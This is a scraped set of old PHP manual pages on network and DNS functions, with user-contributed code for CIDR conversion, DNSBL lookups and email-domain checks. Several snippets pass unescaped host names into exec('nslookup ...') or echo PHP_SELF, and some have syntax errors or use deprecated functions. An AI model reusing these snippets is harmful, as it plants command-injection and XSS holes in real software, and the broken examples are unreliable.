DNS_PTR | Pointer Resource
DNS_HINFO | Host Info Resource (See IANA's » Operating System Names for the meaning of these values)
DNS_SOA | Start of Authority Resource
DNS_TXT | Text Resource
DNS_ANY | Any Resource Record. On most systems this returns all resource records, however it should not be counted upon for critical uses. Try DNS_ALL instead.
DNS_AAAA | IPv6 Address Resource
DNS_ALL | Iteratively query the name server for each available record type.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Network Functions
Network


Network Functions

Table of Contents

  • checkdnsrr — Check DNS records corresponding to a given Internet host name or IP address
  • closelog — Close connection to system logger
  • define_syslog_variables — Initializes all syslog related variables
  • dns_check_record — Alias of checkdnsrr
  • dns_get_mx — Alias of getmxrr
  • dns_get_record — Fetch DNS Resource Records associated with a hostname
  • fsockopen — Open Internet or Unix domain socket connection
  • gethostbyaddr — Get the Internet host name corresponding to a given IP address
  • gethostbyname — Get the IPv4 address corresponding to a given Internet host name
  • gethostbynamel — Get a list of IPv4 addresses corresponding to a given Internet host name
  • gethostname — Gets the host name
  • getmxrr — Get MX records corresponding to a given Internet host name
  • getprotobyname — Get protocol number associated with protocol name
  • getprotobynumber — Get protocol name associated with protocol number
  • getservbyname — Get port number associated with an Internet service and protocol
  • getservbyport — Get Internet service which corresponds to port and protocol
  • header_register_callback — Call a header function
  • header_remove — Remove previously set headers
  • header — Send a raw HTTP header
  • headers_list — Returns a list of response headers sent (or ready to send)
  • headers_sent — Checks if or where headers have been sent
  • http_response_code — Get or Set the HTTP response code
  • inet_ntop — Converts a packed internet address to a human readable representation
  • inet_pton — Converts a human readable IP address to its packed in_addr representation
  • ip2long — Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
  • long2ip — Converts an (IPv4) Internet network address into a string in Internet standard dotted format
  • openlog — Open connection to system logger
  • pfsockopen — Open persistent Internet or Unix domain socket connection
  • setcookie — Send a cookie
  • setrawcookie — Send a cookie without urlencoding the cookie value
  • socket_get_status — Alias of stream_get_meta_data
  • socket_set_blocking — Alias of stream_set_blocking
  • socket_set_timeout — Alias of stream_set_timeout
  • syslog — Generate a system log message

User Contributed Notes

David GASTALDIN 21-Jun-2007 08:12
Here a IP-Range to CIDRs function that I wrote for the purpose of filling my Postfix client.cidr with ripe-ncc data to block spamming from useless countries. Strcmp functions are meant to work around the silly PHP string comparison which inevitably tries compare strings as numbers when possible. I'll make no comment about that fact ... bit I have to bite my tong hard :

function PlageVersCIDRs($ip_min, $ip_max) {
    $cidrs = array();
    $ip_min_bin = sprintf('%032b', $ip_min);
    $ip_max_bin = sprintf('%032b', $ip_max);
    $ip_cour_bin = $ip_min_bin;
    while (strcmp($ip_cour_bin, $ip_max_bin) <= 0) {
        $lng_reseau = 32;
        $ip_reseau_bin = $ip_cour_bin;
        while (($ip_cour_bin[$lng_reseau - 1] == '0') && (strcmp(substr_replace($ip_reseau_bin, '1', $lng_reseau - 1, 1), $ip_max_bin) <= 0)) {
            $ip_reseau_bin[$lng_reseau - 1] = '1';
            $lng_reseau--;
        }
        $cidrs[] = long2ip(bindec($ip_cour_bin)).'/'.$lng_reseau;
        $ip_cour_bin = sprintf('%032b', bindec($ip_reseau_bin) + 1);
    }
    return $cidrs;
}
claudiu at cnixs dot com 22-Apr-2007 02:52
A simple and very fast function to check against CIDR.

Your previous examples are too complicated and involves a lot of functions call.

Here it is (only with arithmetic operators and call only to ip2long () and split() ):
<?php
  function ipCIDRCheck ($IP, $CIDR) {
    list ($net, $mask) = split ("/", $CIDR);

    $ip_net = ip2long ($net);
    $ip_mask = ~((1 << (32 - $mask)) - 1);

    $ip_ip = ip2long ($IP);

    $ip_ip_net = $ip_ip & $ip_mask;

    return ($ip_ip_net == $ip_net);
  }
?>
call example: <?php echo ipCheck ("192.168.1.23", "192.168.1.0/24"); ?>
dand at ddchosting.com 08-Apr-2006 02:28
When I was working on a project I ran into this problem with redirecting. My solution is as follows:
header("Refresh: 5; url=../main/main.php?".session_id()."");

This allowed me to pass the session_id() which is used throughout site to make sure user has loged in.
I hope this helps!
metator at netcabo dot pt 28-Jul-2005 07:34
Ups. The function has a bug, though the example still works with it. Just replace the $_POST variables by the function parameters.

<?
function isIPIn($ip, $net, $mask) {
   //doesn't check for the return value of ip2long
   $ip = ip2long($ip);
   $rede = ip2long($net);
   $mask = ip2long($mask);

   //AND
   $res = $ip & $mask;

   return ($res == $rede);
}
?>
metator at netcabo dot pt 27-Jul-2005 08:22
Regarding samuele's note:

You can get faster code if you apply directly what happens in  network devices, such as routers. If you AND (logic operation) the remote ip against the local netmask the result will be the network ip if the remote ip is from the local network. Example:

    192.168.0.16 = 11000000.10101000.00000000.00010000
& 255.255.255.0 = 11111111.11111111.11111111.00000000
--------------------------------------------------------------
   192.168.0.0 = 11000000.10101000.00000000.00000000

And now the code. My example uses a html form where you place the values you want to test:

<HTML><HEAD><TITLE>Check IP</TITLE>
</HEAD><BODY>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

Hope you find this useful.
        IP to check: <input type="text" name="ip"> <br>
        Local network ip: <input type="text" name="net"> <br>
        Local netmask: <input type="text" name="mask"> <br>
        <input type="submit" name="check" value="Check it!">
    </form>
    <?php

/**
 * @param string $ip IP to check in dotted decimal format
 * @param string $net Network IP in dotted decimal format
 * @param string $mask Netmask in dotted decimal format
 * @returns true if the ip belongs to the network, false otherwise
 **/
function isIPIn($ip, $net, $mask) {
    //doesn't check for the return value of ip2long
    $ip = ip2long($_POST['ip']);
    $rede = ip2long($_POST['net']);
    $mask = ip2long($_POST['mask']);

    //AND
    $res = $ip & $mask;

    return ($res == $rede);
}

if (isset($_POST['check'])) {
     echo isIPIn($_POST['ip'], $_POST['net'], $_POST['mask']) ? "IP IN.": "IP OUT.";
}
 ?>
</BODY><HTML>
nexxer at rogers dot com 24-Feb-2005 05:16
In Trevor Hemsley's translation of the perl range2cidr function, the

while ($end > $start)

condition should be

while ($end >= $start)

otherwise it won't work for /32s, ie if you feed range2cidr("1.2.3.4", "1.2.3.4").

-- nex
samuele at norsam dot org 25-Nov-2003 09:01
To find if an IP is in a net/mask (very fast):
<?php
function isIPIn($ip,$net,$mask) {
   $lnet=ip2long($net);
   $lip=ip2long($ip);
   $binnet=str_pad( decbin($lnet),32,"0","STR_PAD_LEFT" );
   $firstpart=substr($binnet,0,$mask);
   $binip=str_pad( decbin($lip),32,"0","STR_PAD_LEFT" );
   $firstip=substr($binip,0,$mask);
   return(strcmp($firstpart,$firstip)==0);
   }
?>

This function can be compacted, avoiding some variable settings, but the function will not be too clear to read...
Example code, used to made a kind of location service network-based:

<?php
$n = array ( "192.168.0.0/16"   => "TUSCANY",
             "192.168.1.0/24"   => "- Florence",
             "192.168.2.0/24"   => "- Pisa",
             "192.168.3.0/24"   => "- Siena",
             "192.168.64.0/21" => "- Tuscan Archipelago",
             "192.168.64.0/23" => "--- Elba Island",
             "192.168.66.0/24" => "--- Capraia Island",
             "192.168.67.0/24" => "--- Giannutri Island");

// Normally you should use the following line
$myip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
// This is first example: returns Tuscany/Pisa
$myip = "192.168.2.33";
// This is second example: returns Tuscany/T.Arch./Elba
$myip = "192.168.65.34";

echo "Your position:<br />\n";
foreach ( $n as $k=>$v ) {
   list($net,$mask)=split("/",$k);
   if (isIPIn($myip,$net,$mask)) {
       echo $n[$k]."<br />\n"; }
   }
?>

and so on...
anderson at piq dot com dot br 06-Aug-2003 10:10
If you want to get the interface of an IP, based on the local route table, use this.

function GetIfaceforIP($user_ip)
{
    $route = "/bin/netstat -rn";

    exec($route, $aoutput);
    foreach($aoutput as $key => $line)
    {
        if($key > 1)
        {
            $line = ereg_replace("[[:space:]]+",",",$line);
            list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
            if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
            {
                return $iface;
            }
        }
    }
}
02-Apr-2003 08:11
Alternative cidr_conv function - a little easier to follow

function cidr_conv($cidr_address) {
  $first = substr($cidr_address, 0, strpos($cidr_address, "/"));
  $netmask = substr(strstr($cidr_address, "/"), 1);

  $first_bin = str_pad(decbin(ip2long($first)), 32, "0", STR_PAD_LEFT);
  $netmask_bin = str_pad(str_repeat("1", (integer)$netmask), 32, "0", STR_PAD_RIGHT);

  for ($i = 0; $i < 32; $i++) {
    if ($netmask_bin[$i] == "1")
      $last_bin .= $first_bin[$i];
    else
      $last_bin .= "1";
  }

  $last = long2ip(bindec($last_bin));

  return "$first - $last";
}
trevor-hemsley at nospam dot dial dot pipex dot com 16-Oct-2002 11:53
Previous example of IP range to CIDR list does not cope with ranges as well as the perl Net::Netmask range2cidrlist() function. In PHP this looks like

<?
function imask($this)
{
// use base_convert not dechex because dechex is broken and returns 0x80000000 instead of 0xffffffff
return base_convert((pow(2,32) - pow(2, (32-$this)))), 10, 16);
}

function imaxblock($ibase, $tbit)
{
while ($tbit > 0)
{
$im = hexdec(imask($tbit-1));
$imand = $ibase & $im;
if ($imand != $ibase)
{
break;
}
$tbit--;
}
return $tbit;
}

function range2cidrlist($istart, $iend)
{
// this function returns an array of cidr lists that map the range given
$s = explode(".", $istart);
// PHP ip2long does not handle leading zeros on IP addresses! 172.016 comes back as 172.14, seems to be treated as octal!
$start = "";
$dot = "";
while (list($key,$val) = each($s))
{
$start = sprintf("%s%s%d",$start,$dot,$val);
$dot = ".";
}
$end = "";
$dot = "";
$e = explode(".",$iend);
while (list($key,$val) = each($e))
{
$end = sprintf("%s%s%d",$end,$dot,$val);
$dot = ".";
}
$start = ip2long($start);
$end = ip2long($end);
$result = array();
while ($end > $start)
{
$maxsize = imaxblock($start,32);
$x = log($end - $start + 1)/log(2);
$maxdiff = floor(32 - floor($x));
$ip = long2ip($start);
if ($maxsize < $maxdiff)
{
$maxsize = $maxdiff;
}
array_push($result,"$ip/$maxsize");
$start += pow(2, (32-$maxsize));
}
return $result;
}
?>
philippe-at-cyberabuse.org 12-Oct-2002 03:49
... and this one will do the opposite (o return NULL for invalid netblocks) :

1.0.0.0 1.0.255.255 -> 1.0.0.0/16
1.0.0.0 1.3.255.255 -> 1.0.0.0/14
192.168.0.0 192.168.0.255 -> 192.168.0.0/24

function ip2cidr($ip_start,$ip_end) {
if(long2ip(ip2long($ip_start))!=$ip_start or long2ip(ip2long($ip_end))!=$ip_end) return NULL;
$ipl_start=(int)ip2long($ip_start);
$ipl_end=(int)ip2long($ip_end);
if($ipl_start>0 && $ipl_end<0) $delta=($ipl_end+4294967296)-$ipl_start;
else $delta=$ipl_end-$ipl_start;
$netmask=str_pad(decbin($delta),32,"0","STR_PAD_LEFT");
if(ip2long($ip_start)==0 && substr_count($netmask,"1")==32) return "0.0.0.0/0";
if($delta<0 or ($delta>0 && $delta%2==0)) return NULL;
for($mask=0;$mask<32;$mask++) if($netmask[$mask]==1) break;
if(substr_count($netmask,"0")!=$mask) return NULL;
return "$ip_start/$mask";
}
philippe-at-cyberabuse.org 14-Dec-2001 07:46
PHP miss CIDR functions.

This one will convert a CIDR like this:
0.0.0.0/16 -> 0.0.0.0 - 0.0.255.255
127.0/16 -> 127.0.0.0 - 127.0.255.255
etc...

function cidrconv($net) {
$start=strtok($net,"/");
$n=3-substr_count($net, ".");
if ($n>0) { for ($i=$n;$i>0;$i--) $start.=".0"; }
$bits1=str_pad(decbin(ip2long($start)),32,"0","STR_PAD_LEFT");
$net=pow(2,(32-substr(strstr($net,"/"),1)))-1;
$bits2=str_pad(decbin($net),32,"0","STR_PAD_LEFT");
for ($i=0;$i<32;$i++) {
if ($bits1[$i]==$bits2[$i]) $final.=$bits1[$i];
if ($bits1[$i]==1 and $bits2[$i]==0) $final.=$bits1[$i];
if ($bits1[$i]==0 and $bits2[$i]==1) $final.=$bits2[$i];
}
return $start." - ".long2ip(bindec($final));
}
Predefined Constants
checkdnsrr
Network


Check DNS records corresponding to a given Internet host name or IP address

Network Functions
closelog
Network Functions
PHP Manual

checkdnsrr

(PHP 4, PHP 5)

checkdnsrr — Check DNS records corresponding to a given Internet host name or IP address

Description

bool checkdnsrr ( string $host [, string $type = "MX" ] )

Searches DNS for records of type type corresponding to host.

Parameters

host

host may either be the IP address in dotted-quad notation or the host name.

type

type may be any one of: A, MX, NS, SOA, PTR, CNAME, AAAA, A6, SRV, NAPTR, TXT or ANY.

Return Values

Returns TRUE if any records are found; returns FALSE if no records were found or if an error occurred.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.
5.2.4 | TXT type was added.
5.0.0 | AAAA type was added.

Notes

Note:

For compatibility with Windows before this was implemented, then try the » PEAR class » Net_DNS.

See Also

  • dns_get_record() - Fetch DNS Resource Records associated with a hostname
  • getmxrr() - Get MX records corresponding to a given Internet host name
  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbynamel() - Get a list of IPv4 addresses corresponding to a given Internet host name
  • the named(8) manual page

User Contributed Notes

Jamie Savard 05-May-2011 06:59
If you're using Google or other OpenDNS type name servers as resolvers with this function and popular DNSBL's, such as Spamhaus.org, the checks will fail.  All tests we've performed seem to indicate that Google's OpenDNS drops DNSBL lookups.

For details:  http://www.spamhaus.org/faq/answers.lasso?section=DNSBL%20Usage#261

This is most likely intentional since DNSBL lookups would increase the DNS load quite a bit.
Anonymous 15-Jul-2009 09:07
It appears that if you're checking DNS records for a host that uses a Round-Robin DNS technique for load distribution, then you cannot use this function with the "type" parameter set to "ANY".

<?php

//This will not work
if(checkdnsrr("round-robin-example.com"),"ALL")){
     return true;
}else{
     return false;
}

//But every value other than "ANY" will work
if(checkdnsrr("round-robin-example.com"),"A")){
     return true;
}else{
     return false;
}

?>
developer at sysco dot ch 15-May-2007 09:05
Here is a simple and fully compatible implementation of checkdnsrr() for Windows.

If you include these lines at the beginning of your code, you do not need to change anything else in the code in order to work!

if(!function_exists('checkdnsrr'))
{
    function checkdnsrr($hostName, $recType = '')
    {
     if(!empty($hostName)) {
       if( $recType == '' ) $recType = "MX";
       exec("nslookup -type=$recType $hostName", $result);
       // check each line to find the one that starts with the host
       // name. If it exists then the function succeeded.
       foreach ($result as $line) {
         if(eregi("^$hostName",$line)) {
           return true;
         }
       }
       // otherwise there was no mail handler for the domain
       return false;
     }
     return false;
    }
}
reportingsjr at gmail dot com 27-Apr-2007 06:05
Here is a modification to the note below:
    function check_email($email) {
        if(preg_match('/^\w[-.\w]*@(\w[-._\w]*\.[a-zA-Z]{2,}.*)$/', $email, $matches))
        {
            if(function_exists('checkdnsrr'))
            {
                if(checkdnsrr($matches[1] . '.', 'MX')) return true;
                if(checkdnsrr($matches[1] . '.', 'A')) return true;
            }else{
                if(!empty($hostName))
                {
                    if( $recType == '' ) $recType = "MX";
                    exec("nslookup -type=$recType $hostName", $result);
                    foreach ($result as $line)
                    {
                        if(eregi("^$hostName",$line))
                        {
                            return true;
                        }
                    }
                    return false;
                }
                return false;
            }
        }
        return false;
    }
This makes it compatible with windows and will make sure it actually checks the domain.
Check DNSBL - WIN also 11-Jan-2007 04:41
<?php
/*
* Check DNSBL - WIN also - DD
*/
function blacklisted($ip) {
    $dnsbl_lists = array("bl.spamcop.net", "list.dsbl.org", "sbl.spamhaus.org");
    if ($ip && preg_match('/^([0-9]{1, 3})\.([0-9]{1, 3})\.([0-9]{1, 3})\.([0-9]{1, 3})/', $ip)) {
        $reverse_ip = implode(".", array_reverse(explode(".", $ip)));
        $on_win = substr(PHP_OS, 0, 3) == "WIN" ? 1 : 0;
        foreach ($dnsbl_lists as $dnsbl_list){
            if (function_exists("checkdnsrr")) {
                if (checkdnsrr($reverse_ip . "." . $dnsbl_list . ".", "A")) {
                    return $reverse_ip . "." . $dnsbl_list;
                }
            } else if ($on_win == 1) {
                $lookup = "";
                @exec("nslookup -type=A " . $reverse_ip . "." . $dnsbl_list . ".", $lookup);
                foreach ($lookup as $line) {
                    if (strstr($line, $dnsbl_list)) {
                        return $reverse_ip . "." . $dnsbl_list;
                    }
                }
            }
        }
    }
    return false;
}
?>
11-Dec-2006 04:06
<?php
function check_dnsbl($ip)
{
    $dnsbl_check=array("bl.spamcop.net","list.dsbl.org",
"sbl.spamhaus.org",'xbl.spamhaus.org');
    if($ip){
        $rip=implode('.',array_reverse(explode(".",$ip)));
        foreach($dnsbl_check as $val){
            if(checkdnsrr($rip.'.'.$val.'.','A'))
                return $rip.'.'.$val;
        }
    }
    return false;
}
?>
satmd 28-Jan-2006 08:29
fox dot 69 at gmx dot net: I wonder where you got this code from. I have written this piece of code half a year ago and released it WITH a copyright header that is missing now! Anyways... this code is to be considered licenced "as-is", however it'd be nice to keep the authors note (This is something about reputation, you see?). Thanks.

(Much) more recent version of it:
<?php
function is_blacklisted($ip) {
   // written by satmd, do what you want with it, but keep the author please
   $result=Array();
   $dnsbl_check=array("bl.spamcop.net",
                       "list.dsbl.org",
                       "sbl.spamhaus.org");
   if ($ip) {
       $quads=explode(".",$ip);
       $rip=$quads[3].".".$quads[2].".".$quads[1].".".$quads[0];
       for ($i=0; $i<count($dnsbl_check); $i++) {
           if (checkdnsrr($rip.".".$dnsbl_check[$i].".","A")) {
              $result[]=Array($dnsbl_check[$i],$rip.".".$dnsbl_check[$i]);
           }
         }
      return $result;
   }
}
?>

Beware that this code's signature differs from the original! I also removed osirusoft as its results are not useful anyways (false positives!). Please make sure that you have nscd or a caching dns server running as this code is prone to (d)dos! Only use it in places where it is necessary (when data is to be modified), e.g. the script processing uploads/posts/replies in a blog.
tabascopete78 at yahoo dot com 18-Aug-2005 12:30
I was using file_get_contents on a set of URLs. Some of them URLs were invalid (the structure of it was ok but the DNS hosts couldn't resolve them) and I kept getting an annoying warning that I wanted to handle correctly. I wanted to check the DNS somehow but the existing check dns function in php doesn't have one for windows and the one a person supplied here does not work 100% of the time. (The reg exp is wrong.)

Instead use gethostbyname to try to resolve a host. This won't throw any warnings, you just need to check the output and it's all handled gracefully. You'll get the same warnings with fopen and fsockopen.

The only minor drawback is that on invalid hosts it takes a couple seconds to figure it out.
Plasma 18-Jun-2005 01:43
In response to fox dot 69 at gmx dot net's dnsbl function:

<?php
function is_blacklisted($ip) {
   $dnsbl_check=array("bl.spamcop.net",
                       "relays.osirusoft.com",
                       "list.dsbl.org",
                       "sbl.spamhaus.org");
   if ($ip) {
       $quads=explode(".",$ip);
       $rip=$quads[3].".".$quads[2].".".$quads[1].".".$quads[0];
       for ($i=0; $i<count($dnsbl_check); $i++) {
           if (checkdnsrr($rip.".".$dnsbl_check[$i] . '.',"A")) {
               $listed.=$dnsbl_check[$i]." ";
           }
         }
       if ($listed) { return $listed; } else { return FALSE; }
   }
}
?>

Add a . after the $dnsbl_check[$i] so that it returns a valid response, I found this was not working (always returned the A record) when I didnt specify the . at the end:

           if (checkdnsrr($rip.".".$dnsbl_check[$i] . '.',"A")) {
Sven 07-Feb-2005 05:46
Note to Patrick's regular expression (from 14-Dec-2004):

Don't use it as it will not recognize every valid email address, because valid domain names do not pass the regex.

For example: test--domain.com is a perfectly valid domain, but won't be recognized as such.

If you have to use a regular expression as a first filter, then either use the complete complex form based on RFC2822, or stick to the most basic regex like this:

".+@.+\..+."

Explanation: The username in front of the @ can include every known character in the world - it has to be escaped somehow, but dealing with this is a mess.

The shortest possible domain name is 1 character long, not 2 or 3 (although many registries impose such arbitrary rules on domain names). Try www.x.org if you don't believe this. :)

Only the top level domain consists of at least 2 characters (country code tld), but there should be no upper limit. Many had to learn the hard way as .info became available. And .museum. Maybe there will be .solarsystem someday.

So the shortest possible email address consists of 6 characters: "a@b.cd".

I do not use more specific character classes for the domain names because we have international domain names, which opens up the whole unicode range as valid characters. Converting these into useable dns domain names is a different task, best left to appropriate librarys such as PEAR's Net_IDNA.

Rule of thumb: Don't assume too much. If a string doesn't contain an "@"-sign and a dot after that, then it surely is no email address, and no further checking needs to take place. Everything else should go one step further.
Patrick 13-Dec-2004 07:53
This is a little code example that will validate an email address in two ways:
- first the general syntax of the string is checked with a regular expression
- then the domain substring (after the '@') is checked using the 'checkdnsrr' function

<?php

function validate_email($email){

   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";

   if(eregi($exp,$email)){

      if(checkdnsrr(array_pop(explode("@",$email)),"MX")){
        return true;
      }else{
        return false;
      }

   }else{

      return false;

   }
}

?>
dave146 at burtonsys dot com 20-Jun-2004 11:46
The .museum TLD is weird.  All undefined second-level domains resolve to 195.7.77.20 (a/k/a index.museum).  So checkdnsrr() doesn't tell you anything at all about second-level domains under .museum.

-Dave

Editors note:

This applies to all TLDs that have a wildcard covering all non-existant domains. This may at some point in the future include .com or .net and does already cover other domains. If you are unsure just try a couple of random domains that can't possibly exist. If they both resolve to the same IP address and checkdnserr() returns false, you may have to check the IP.
picaune at hotmail dot com 31-Jan-2004 06:58
On Windows NT machines (inc. 2000, XP, 2003, .net, Longhorn) you can emulate this function by spoonfeeding the nslookup proglet.

After spitting out some info on which DNS server it's using, the daemon presents a "> " prompt. At this point if you enter a domain name a list of A records will be returned from the default name server. The sixth line of output has "Address: " followed by the IPv4 address in dotted-quad notation. You may enter "set type=" followed by the IP type. Currently the only supported IP class is IN (Internet); the others are no longer supported. You can exit by entering "exit".

You may perform a one-shot lookup by passing the domain name as a command line argument; in this case nslookup will automatically perform an A lookup on the default name server and exit. The IPv4 address is on the last line with non-whitespace.

Additional information and options can be obtained by running nslookup and then searching for "?".
fox dot 69 at gmx dot net 01-May-2003 01:40
maybe usefull, a blacklist (DNSBL) check function:

<?php
function is_blacklisted($ip) {
    $dnsbl_check=array("bl.spamcop.net",
                       "relays.osirusoft.com",
                       "list.dsbl.org",
                       "sbl.spamhaus.org");
    if ($ip) {
       $quads=explode(".",$ip);
        $rip=$quads[3].".".$quads[2].".".$quads[1].".".$quads[0];
        for ($i=0; $i<count($dnsbl_check); $i++) {
            if (checkdnsrr($rip.".".$dnsbl_check[$i],"A")) {
                $listed.=$dnsbl_check[$i]." ";
            }
         }
       if ($listed) { return $listed; } else { return FALSE; }
    }
}
?>
kriek at jonkriek dot com 25-Mar-2003 05:08
The checkdnsrr function is not implemented on the Windows platform. The way to get around this problem is to write your own version of checkdnsrr. Example: myCheckDNSRR

<?php
function myCheckDNSRR($hostName, $recType = '')
{
 if(!empty($hostName)) {
   if( $recType == '' ) $recType = "MX";
   exec("nslookup -type=$recType $hostName", $result);
   // check each line to find the one that starts with the host
   // name. If it exists then the function succeeded.
   foreach ($result as $line) {
     if(eregi("^$hostName",$line)) {
       return true;
     }
   }
   // otherwise there was no mail handler for the domain
   return false;
 }
 return false;
}
?>
Note that the type parameter is optional, and if you don't supply it then the type defaults to "MX" (which means Mail Exchange). If any records are found, the function returns TRUE. Otherwise, it returns FALSE.
alex at xela dot co dot uk 01-Mar-2002 05:36
Hi,

Interesting thing I've discovered regarding checkdnsrr. When querying a domain's status using the command, always append a dot to the end of the domain you are querying. I.e.

<?php
checkdnsrr($domain.'.')
?>

The dot is sometimes necessary if you are searching for a fully qualified domain which has the same name as a host on your local domain.. ie :-

You want to search for "our.info"
and you happen to have a node on your domain called :

our.info.ourdomain.com

If your DNS server is told to check 'ourdomain.com' before any other you will get a positive result when in fact our.info might not exist.

For this reason adding the dot enforces the root. Of course the dot does not alter results that were OK anyway.

Hope that helps some poor confused people :o)

Alex.
Network Functions
closelog
Network Functions


Close connection to system logger

checkdnsrr
define_syslog_variables
Network Functions
PHP Manual

closelog

(PHP 4, PHP 5)

closelog — Close connection to system logger

Description

bool closelog ( void )

closelog() closes the descriptor being used to write to the system logger. The use of closelog() is optional.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • syslog() - Generate a system log message
  • openlog() - Open connection to system logger

User Contributed Notes

There are no user contributed notes for this page.
checkdnsrr
define_syslog_variables
Network Functions


Initializes all syslog related variables

closelog
dns_check_record
Network Functions
PHP Manual

define_syslog_variables

(PHP 4, PHP 5)

define_syslog_variables — Initializes all syslog related variables

Description

void define_syslog_variables ( void )

Initializes all variables used in the syslog functions.

Return Values

No value is returned.

Syslog variables
Variable | Constant equal | Meaning | Notes
$LOG_EMERG | LOG_EMERG | System is unusable |
$LOG_ALERT | LOG_ALERT | Immediate action required |
$LOG_CRIT | LOG_CRIT | Critical conditions |
$LOG_ERR | LOG_ERR |  |
$LOG_WARNING | LOG_WARNING |  |
$LOG_NOTICE | LOG_NOTICE |  |
$LOG_INFO | LOG_INFO |  |
$LOG_DEBUG | LOG_DEBUG |  |
$LOG_KERN | LOG_KERN |  |
$LOG_USER | LOG_USER | Genetic user level |
$LOG_MAIL | LOG_MAIL | Log to email |
$LOG_DAEMON | LOG_DAEMON | Other system daemons |
$LOG_AUTH | LOG_AUTH |  |
$LOG_SYSLOG | LOG_SYSLOG |  | Not available on Netware
$LOG_LPR | LOG_LPR |  |
$LOG_NEWS | LOG_NEWS | Usenet new | Not available on HP-UX
$LOG_CRON | LOG_CRON |  | Not available on all platforms
$LOG_AUTHPRIV | LOG_AUTHPRIV |  | Not available on AIX
$LOG_LOCAL0 | LOG_LOCAL0 |  | Not available on Windows and Netware
$LOG_LOCAL1 | LOG_LOCAL1 |  | Not available on Windows and Netware
$LOG_LOCAL2 | LOG_LOCAL2 |  | Not available on Windows and Netware
$LOG_LOCAL3 | LOG_LOCAL3 |  | Not available on Windows and Netware
$LOG_LOCAL4 | LOG_LOCAL4 |  | Not available on Windows and Netware
$LOG_LOCAL5 | LOG_LOCAL5 |  | Not available on Windows and Netware
$LOG_LOCAL6 | LOG_LOCAL6 |  | Not available on Windows and Netware
$LOG_LOCAL7 | LOG_LOCAL7 |  | Not available on Windows and Netware
$LOG_PID | LOG_PID |  |
$LOG_CONS | LOG_CONS |  |
$LOG_ODELAY | LOG_ODELAY |  |
$LOG_NDELAY | LOG_NDELAY |  |
$LOG_NOWAIT | LOG_NOWAIT |  | Not available on BeOS
$LOG_PERROR | LOG_PERROR |  | Not available on AIX
Warning

This function has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.

Examples

Example #1 define_syslog_variables() example

<?php
// Check if syslog variables already is defined
if(!get_cfg_var('define_syslog_variables'))
{
    define_syslog_variables();
}

// Open the log
openlog('', $LOG_ODELAY, $LOG_MAIL | $LOG_USER);

// Continue script ...
?>

Changelog

Version | Description
5.3.0 | This function now throws an E_DEPRECATED notice.

See Also

  • openlog() - Open connection to system logger
  • syslog() - Generate a system log message
  • closelog() - Close connection to system logger

User Contributed Notes

chad 0x40 herballure 0x2e com 24-Jul-2007 12:47
define_syslog_variables() only defines global variables. Constants are already always defined, if the syslog module is loaded. You _do not_ need to call this to use the syslog constants.

For instance, on my system:
<?php
var_dump(LOG_ERR); // int(3)
var_dump($LOG_ERR); // NULL (and an E_NOTICE)
define_syslog_variables();
var_dump($LOG_ERR); // int(3)
?>
closelog
dns_check_record
Network Functions


Alias of checkdnsrr

define_syslog_variables
dns_get_mx
Network Functions
PHP Manual

dns_check_record

(PHP 5)

dns_check_record — Alias of checkdnsrr()

Description

This function is an alias of: checkdnsrr().

User Contributed Notes

There are no user contributed notes for this page.
define_syslog_variables
dns_get_mx
Network Functions


Alias of getmxrr

dns_check_record
dns_get_record
Network Functions
PHP Manual

dns_get_mx

(PHP 5)

dns_get_mx — Alias of getmxrr()

Description

This function is an alias of: getmxrr().

User Contributed Notes

There are no user contributed notes for this page.
dns_check_record
dns_get_record
Network Functions


Fetch DNS Resource Records associated with a hostname

dns_get_mx
fsockopen
Network Functions
PHP Manual

dns_get_record

(PHP 5)

dns_get_record — Fetch DNS Resource Records associated with a hostname

Description

array dns_get_record ( string $hostname [, int $type = DNS_ANY [, array &$authns [, array &$addtl ]]] )

Fetch DNS Resource Records associated with the given hostname.

Parameters

hostname

hostname should be a valid DNS hostname such as "www.example.com". Reverse lookups can be generated using in-addr.arpa notation, but gethostbyaddr() is more suitable for the majority of reverse lookups.

Note:

Per DNS standards, email addresses are given in user.host format (for example: hostmaster.example.com as opposed to hostmaster@example.com), be sure to check this value and modify if necessary before using it with a functions such as mail().

type

By default, dns_get_record() will search for any resource records associated with hostname. To limit the query, specify the optional type parameter. May be any one of the following: DNS_A, DNS_CNAME, DNS_HINFO, DNS_MX, DNS_NS, DNS_PTR, DNS_SOA, DNS_TXT, DNS_AAAA, DNS_SRV, DNS_NAPTR, DNS_A6, DNS_ALL or DNS_ANY.

Note:

Because of eccentricities in the performance of libresolv between platforms, DNS_ANY will not always return every record, the slower DNS_ALL will collect all records more reliably.

authns

Passed by reference and, if given, will be populated with Resource Records for the Authoritative Name Servers.

addtl

Passed by reference and, if given, will be populated with any Additional Records.

Return Values

This function returns an array of associative arrays, or FALSE on failure. Each associative array contains at minimum the following keys:

Basic DNS attributes
Attribute | Meaning
host | The record in the DNS namespace to which the rest of the associated data refers.
class | dns_get_record() only returns Internet class records and as such this parameter will always return IN.
type | String containing the record type. Additional attributes will also be contained in the resulting array dependant on the value of type. See table below.
ttl | "Time To Live" remaining for this record. This will not equal the record's original ttl, but will rather equal the original ttl minus whatever length of time has passed since the authoritative name server was queried.

Other keys in associative arrays dependant on 'type'
Type | Extra Columns
A | ip: An IPv4 addresses in dotted decimal notation.
MX | pri: Priority of mail exchanger. Lower numbers indicate greater priority. target: FQDN of the mail exchanger. See also dns_get_mx().
CNAME | target: FQDN of location in DNS namespace to which the record is aliased.
NS | target: FQDN of the name server which is authoritative for this hostname.
PTR | target: Location within the DNS namespace to which this record points.
TXT | txt: Arbitrary string data associated with this record.
HINFO | cpu: IANA number designating the CPU of the machine referenced by this record. os: IANA number designating the Operating System on the machine referenced by this record. See IANA's » Operating System Names for the meaning of these values.
